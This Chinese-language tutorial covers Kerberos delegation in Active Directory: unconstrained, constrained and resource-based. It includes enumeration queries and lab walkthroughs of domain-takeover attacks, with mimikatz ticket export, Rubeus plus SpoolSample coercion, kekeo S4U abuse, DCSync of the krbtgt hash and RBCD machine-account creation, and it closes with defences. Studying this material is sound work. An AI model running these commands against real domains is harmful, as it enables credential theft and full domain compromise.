域委派攻防深入刨析
字数 3807 2025-08-23 18:31:24

域委派攻防深入剖析

委派简介

委派(Delegation)是一种让用户可以委托服务器代表自己与其他服务进行验证的功能,它允许服务账户在活动目录中模拟其他域用户身份,主要用于当服务需要以某个用户的身份来请求访问其他服务资源的场景。

委派流程示例

  1. 域用户"hacke\testuser"以Kerberos身份验证访问Web服务器并请求下载文件
  2. Web服务的服务账号为websrv,由于Web服务器上无用户请求的文件,所以websvc向KDC发起"hacke\testuser"用户的票据请求
  3. KDC检查websrv服务账号的委派属性,如果被设置,则返回"hacke\testuser"用户的可转发TGT认购权证
  4. websrv收到"hacke\testuser"用户的TGT认购权证后,使用该TGT向KDC申请访问文件服务器的ST服务票据
  5. KDC检查websrv服务账号的委派属性,如果被设置并且申请的文件服务在允许的列表清单中,则返回"hacke\testuser"用户访问文件服务的ST服务票据
  6. websrv收到KDC返回的"hacke\testuser"用户的ST服务票据后,用该ST服务票据访问文件服务器,并且将文件服务器返回的文件返回给"hacke\testuser"用户

委派账户类型

在域中,只有"服务账号"和"主机账号"才具有委派属性:

  • 主机账号:AD活动目录中Computers中的计算机,也可以称为机器账号(一个普通域用户默认最多可以创建十个主机账号)
  • 服务账号(Service Account):域内用户的一种类型,是服务器运行服务时所用的账号,将服务运行起来并加入域

委派分类

委派分为三种类型:

  1. 非约束性委派(Unconstrained Delegation)
  2. 传统的约束委派(Constrained Delegation)
  3. 基于资源的约束委派(Resource-based Constrained Delegation)

非约束性委派

基本介绍

对于非约束性委派而言,服务账号/主机账号可以获取被委派用户的TGT,并将TGT缓存到LSASS进程中,之后服务账号/主机账号可使用该TGT,模拟用户访问任意服务。

工作流程

  1. 用户通过发送KRB_AS_REQ消息请求可转发TGT(TGT1)
  2. KDC在KRB_AS_REP消息中返回TGT1
  3. 用户再通过TGT1向KDC请求转发TGT(TGT2)
  4. 在KRB_TGS_REP消息中返回转发TGT2
  5. 用户使用TGT1向KDC申请访问Service1的ST(ServiceTicket)
  6. TGS返回给用户一个ST
  7. 用户发送KRB_AP_REQ请求至Service1,这个请求中包含了TGT1和ST、TGT2、TGT2的SessionKey
  8. Service1使用用户的TGT2通过KRB_TGS_REQ发送给KDC,以用户的名义请求能够访问Service2的票据
  9. KDC在KRB_TGS_REP消息中返回Service2到Service1的票据
  10. Service1以用户的名义像Service2发送KRB_AP_REQ请求
  11. Service2响应步骤10中Service1的请求
  12. Service1响应步骤7中用户的请求

设置方法

服务账号委派设置:

  1. 首先确定当前委派的账户下有注册的服务
  2. 使用命令给用户账户注册服务:setspn -S MySQL/win7-test.hacke.testlab Al1ex
  3. 在账号属性中设置"非约束性委派"

主机账号委派设置:
直接在computer中进行设置

约束性委派

基本介绍

微软在Windows Server 2003中引入了约束委派,对Kerberos协议进行了拓展,引入了S4U,其中S4U支持:

  • Service for User to Self(S4U2Self)
  • Service for User to Proxy(S4U2proxy)

这两个扩展允许服务代表用户从KDC请求票证,但限制了S4U2proxy扩展的范围。

工作流程

  1. 用户向Service1发送请求
  2. Service1通过S4U2self扩展模拟用户向KDC请求ST
  3. KDC返回给Service1一个用于用户验证Service1的ST(ST1)
  4. Service1用ST1完成和用户的验证过程
  5. 用户再次向Service1发起请求,Service1需要以用户的身份访问Service2
  6. Service1代表用户向Service2请求一个用于认证Service2的ST(ST2)
  7. KDC验证PAC的数字签名,返回ST2给Service1
  8. Service1代表用户使用ST2请求Service2
  9. Service2响应Service1的请求
  10. Service1响应用户的请求

设置方法

服务账号委派设置:

  1. 将用户设置为服务账户
  2. 在账户属性中将委派方式更改为约束委派

主机账号委派设置:
直接在computer中进行修改

基于资源的约束委派

基本概念

基于资源的约束委派(RBCD)是在Windows Server 2012中新加入的功能,与传统的约束委派相比:

  • 不再需要域管理员权限去设置相关属性
  • 把设置委派的权限赋予了机器自身
  • 机器自己可以决定谁可以被委派来控制我

委派查询

非约束委派查询

PowerView:

Get-DomainUser Al1ex -Properties useraccountcontrol,msds-allowedtodelegateto | fl
Get-NetComputer -Unconstrained -Domain hacke.testlab | select name
Get-DomainComputer -Unconstrained -Domain hacke.testlab

ADfind:

AdFind.exe -b "DC=hacke,DC=testlab" -f "(&(samAccountType=805306368)(userAccountControl:1.2.840.113556.1.4.803:=524288))" cn distinguishedName
AdFind.exe -b "DC=hacke,DC=testlab" -f "(&(samAccountType=805306369)(userAccountControl:1.2.840.113556.1.4.803:=524288))" cn distinguishedName

约束委派查询

PowerView:

Get-DomainUser Al2ex -Properties useraccountcontrol,msds-allowedtodelegateto | fl
Get-DomainUser -TrustedToAuth -Domain hacke.testlab
Get-DomainUser -TrustedToAuth -Properties distinguishedname,useraccountcontrol,msds-allowedtodelegateto | fl
Get-DomainComputer -TrustedToAuth -Domain hacke.testlab | select name
Get-DomainComputer -TrustedToAuth -Properties distinguishedname,useraccountcontrol,msds-allowedtodelegateto | ft -Wrap -AutoSize

ADfind:

AdFind.exe -b "DC=hacke,DC=testlab" -f "(&(samAccountType=805306368)(msds-allowedtodelegateto=*))" cn distinguishedName msds-allowedtodelegateto

委派攻击

非约束委派利用

实验环境:

  • 域:hacke.testlab
  • 域控:Windows Server 2012 R2 x64
  • 域内主机:Windows 7
  • 域管理员:Administrator
  • 域普通用户:Al1ex

攻击步骤:

  1. 在域控上设置主机win7具有非约束性委派属性
  2. 在win7上访问域控主机,提示拒绝访问
  3. 在域控主机上以Administrator身份访问win7机器
  4. 在win7主机的lsass.exe内存中获取域用户administrator的TGT票据
  5. 使用mimikatz导出票据:sekurlsa::tickets /export
  6. 使用mimikatz将票据导入内存中,然后访问域控

非约束委派+Spooler攻击

利用原理:
Windows打印系统远程协议(MS-RPRN)是一种默认启用的方法,可以强制任何运行了Spooler服务的计算机通过Kerberos或NTLM对攻击者选择的目标进行身份验证。

攻击步骤:

  1. 设置win7非约束性委派
  2. 使用Rubeus监听Event ID为"4624"的事件:Rubeus.exe monitor /interval:5 /filteruser:dc$
  3. 使用spoolSample.exe向DC的Spooler服务发送请求:SpoolSample.exe dc.hacke.testlab win7-test.hacke.testlab
  4. 在Rubeus中捕获到来自目标dc的认证请求
  5. 使用Mimikatz从内存中导出TGT
  6. 将票据导入内存中,访问域控

约束性委派利用

实验环境:

  • 域:hacke.testlab
  • 域控:Windows Server 2012 R2 x64
  • 域内主机:Windows 7
  • 域管理员:Administrator
  • 域普通用户:Al2ex

攻击步骤:

  1. 域用户Al2ex注册为服务账号并设置为约束委派
  2. 使用kekeo请求ST服务票据:tgt::ask /user:al2ex /domain:hacke.testlab /password:"1234Rewq!@#$"
  3. 使用kekeo申请TGS票据:tgs::s4u /tgt:TGT_al2ex@HACKE.TESTLAB_krbtgt~hacke.testlab@HACKE.TESTLAB.kirbi /user:administrator@hacke.testlab /service:cifs/dc.hacke.testlab
  4. 使用mimikatz将生成的TGS文件导入到Kerberos凭据列表中
  5. 利用DCSync读取krbtgt的HASH:lsadump::dcsync /user:krbtgt /domain:hacke.testlab
  6. 通过dcsync读取Administrator的HASH进行PTH

资源约束性委派攻击

攻击步骤:

  1. 使用AdExplorer连接域控,在目标主机的安全属性中为攻击者用户赋予写权限
  2. 验证用户是否有对目标主机的写权限
  3. 创建机器账户:New-MachineAccount -MachineAccount evilsystem -Password $(ConvertTo-SecureString "evil" -AsPlainText -Force)
  4. 配置攻击者机器账户到目标主机的基于资源约束的委派
  5. 使用impacket或Rubeus进行提权

防御措施

  1. 主机账号需设置委派时,只能设置为约束性委派
  2. Windows 2012 R2及更高的系统建立了受保护的用户组,组内用户不允许被委派
  3. 监控和限制对msDS-AllowedToActOnBehalfOfOtherIdentity属性的修改
  4. 禁用不必要的服务账号委派
  5. 定期审计域内委派设置
域委派攻防深入剖析 委派简介 委派(Delegation)是一种让用户可以委托服务器代表自己与其他服务进行验证的功能,它允许服务账户在活动目录中模拟其他域用户身份,主要用于当服务需要以某个用户的身份来请求访问其他服务资源的场景。 委派流程示例 域用户"hacke\testuser"以Kerberos身份验证访问Web服务器并请求下载文件 Web服务的服务账号为websrv,由于Web服务器上无用户请求的文件,所以websvc向KDC发起"hacke\testuser"用户的票据请求 KDC检查websrv服务账号的委派属性,如果被设置,则返回"hacke\testuser"用户的可转发TGT认购权证 websrv收到"hacke\testuser"用户的TGT认购权证后,使用该TGT向KDC申请访问文件服务器的ST服务票据 KDC检查websrv服务账号的委派属性,如果被设置并且申请的文件服务在允许的列表清单中,则返回"hacke\testuser"用户访问文件服务的ST服务票据 websrv收到KDC返回的"hacke\testuser"用户的ST服务票据后,用该ST服务票据访问文件服务器,并且将文件服务器返回的文件返回给"hacke\testuser"用户 委派账户类型 在域中,只有"服务账号"和"主机账号"才具有委派属性: 主机账号 :AD活动目录中Computers中的计算机,也可以称为机器账号(一个普通域用户默认最多可以创建十个主机账号) 服务账号(Service Account) :域内用户的一种类型,是服务器运行服务时所用的账号,将服务运行起来并加入域 委派分类 委派分为三种类型: 非约束性委派(Unconstrained Delegation) 传统的约束委派(Constrained Delegation) 基于资源的约束委派(Resource-based Constrained Delegation) 非约束性委派 基本介绍 对于非约束性委派而言,服务账号/主机账号可以获取被委派用户的TGT,并将TGT缓存到LSASS进程中,之后服务账号/主机账号可使用该TGT,模拟用户访问任意服务。 工作流程 用户通过发送KRB_ AS_ REQ消息请求可转发TGT(TGT1) KDC在KRB_ AS_ REP消息中返回TGT1 用户再通过TGT1向KDC请求转发TGT(TGT2) 在KRB_ TGS_ REP消息中返回转发TGT2 用户使用TGT1向KDC申请访问Service1的ST(ServiceTicket) TGS返回给用户一个ST 用户发送KRB_ AP_ REQ请求至Service1,这个请求中包含了TGT1和ST、TGT2、TGT2的SessionKey Service1使用用户的TGT2通过KRB_ TGS_ REQ发送给KDC,以用户的名义请求能够访问Service2的票据 KDC在KRB_ TGS_ REP消息中返回Service2到Service1的票据 Service1以用户的名义像Service2发送KRB_ AP_ REQ请求 Service2响应步骤10中Service1的请求 Service1响应步骤7中用户的请求 设置方法 服务账号委派设置: 首先确定当前委派的账户下有注册的服务 使用命令给用户账户注册服务: setspn -S MySQL/win7-test.hacke.testlab Al1ex 在账号属性中设置"非约束性委派" 主机账号委派设置: 直接在computer中进行设置 约束性委派 基本介绍 微软在Windows Server 2003中引入了约束委派,对Kerberos协议进行了拓展,引入了S4U,其中S4U支持: Service for User to Self(S4U2Self) Service for User to Proxy(S4U2proxy) 这两个扩展允许服务代表用户从KDC请求票证,但限制了S4U2proxy扩展的范围。 工作流程 用户向Service1发送请求 Service1通过S4U2self扩展模拟用户向KDC请求ST KDC返回给Service1一个用于用户验证Service1的ST(ST1) Service1用ST1完成和用户的验证过程 用户再次向Service1发起请求,Service1需要以用户的身份访问Service2 Service1代表用户向Service2请求一个用于认证Service2的ST(ST2) KDC验证PAC的数字签名,返回ST2给Service1 Service1代表用户使用ST2请求Service2 Service2响应Service1的请求 Service1响应用户的请求 设置方法 服务账号委派设置: 将用户设置为服务账户 在账户属性中将委派方式更改为约束委派 主机账号委派设置: 直接在computer中进行修改 基于资源的约束委派 基本概念 基于资源的约束委派(RBCD)是在Windows Server 2012中新加入的功能,与传统的约束委派相比: 不再需要域管理员权限去设置相关属性 把设置委派的权限赋予了机器自身 机器自己可以决定谁可以被委派来控制我 委派查询 非约束委派查询 PowerView: ADfind: 约束委派查询 PowerView: ADfind: 委派攻击 非约束委派利用 实验环境: 域:hacke.testlab 域控:Windows Server 2012 R2 x64 域内主机:Windows 7 域管理员:Administrator 域普通用户:Al1ex 攻击步骤: 在域控上设置主机win7具有非约束性委派属性 在win7上访问域控主机,提示拒绝访问 在域控主机上以Administrator身份访问win7机器 在win7主机的lsass.exe内存中获取域用户administrator的TGT票据 使用mimikatz导出票据: sekurlsa::tickets /export 使用mimikatz将票据导入内存中,然后访问域控 非约束委派+Spooler攻击 利用原理: Windows打印系统远程协议(MS-RPRN)是一种默认启用的方法,可以强制任何运行了Spooler服务的计算机通过Kerberos或NTLM对攻击者选择的目标进行身份验证。 攻击步骤: 设置win7非约束性委派 使用Rubeus监听Event ID为"4624"的事件: Rubeus.exe monitor /interval:5 /filteruser:dc$ 使用spoolSample.exe向DC的Spooler服务发送请求: SpoolSample.exe dc.hacke.testlab win7-test.hacke.testlab 在Rubeus中捕获到来自目标dc的认证请求 使用Mimikatz从内存中导出TGT 将票据导入内存中,访问域控 约束性委派利用 实验环境: 域:hacke.testlab 域控:Windows Server 2012 R2 x64 域内主机:Windows 7 域管理员:Administrator 域普通用户:Al2ex 攻击步骤: 域用户Al2ex注册为服务账号并设置为约束委派 使用kekeo请求ST服务票据: tgt::ask /user:al2ex /domain:hacke.testlab /password:"1234Rewq!@#$" 使用kekeo申请TGS票据: tgs::s4u /tgt:TGT_al2ex@HACKE.TESTLAB_krbtgt~hacke.testlab@HACKE.TESTLAB.kirbi /user:administrator@hacke.testlab /service:cifs/dc.hacke.testlab 使用mimikatz将生成的TGS文件导入到Kerberos凭据列表中 利用DCSync读取krbtgt的HASH: lsadump::dcsync /user:krbtgt /domain:hacke.testlab 通过dcsync读取Administrator的HASH进行PTH 资源约束性委派攻击 攻击步骤: 使用AdExplorer连接域控,在目标主机的安全属性中为攻击者用户赋予写权限 验证用户是否有对目标主机的写权限 创建机器账户: New-MachineAccount -MachineAccount evilsystem -Password $(ConvertTo-SecureString "evil" -AsPlainText -Force) 配置攻击者机器账户到目标主机的基于资源约束的委派 使用impacket或Rubeus进行提权 防御措施 主机账号需设置委派时,只能设置为约束性委派 Windows 2012 R2及更高的系统建立了受保护的用户组,组内用户不允许被委派 监控和限制对msDS-AllowedToActOnBehalfOfOtherIdentity属性的修改 禁用不必要的服务账号委派 定期审计域内委派设置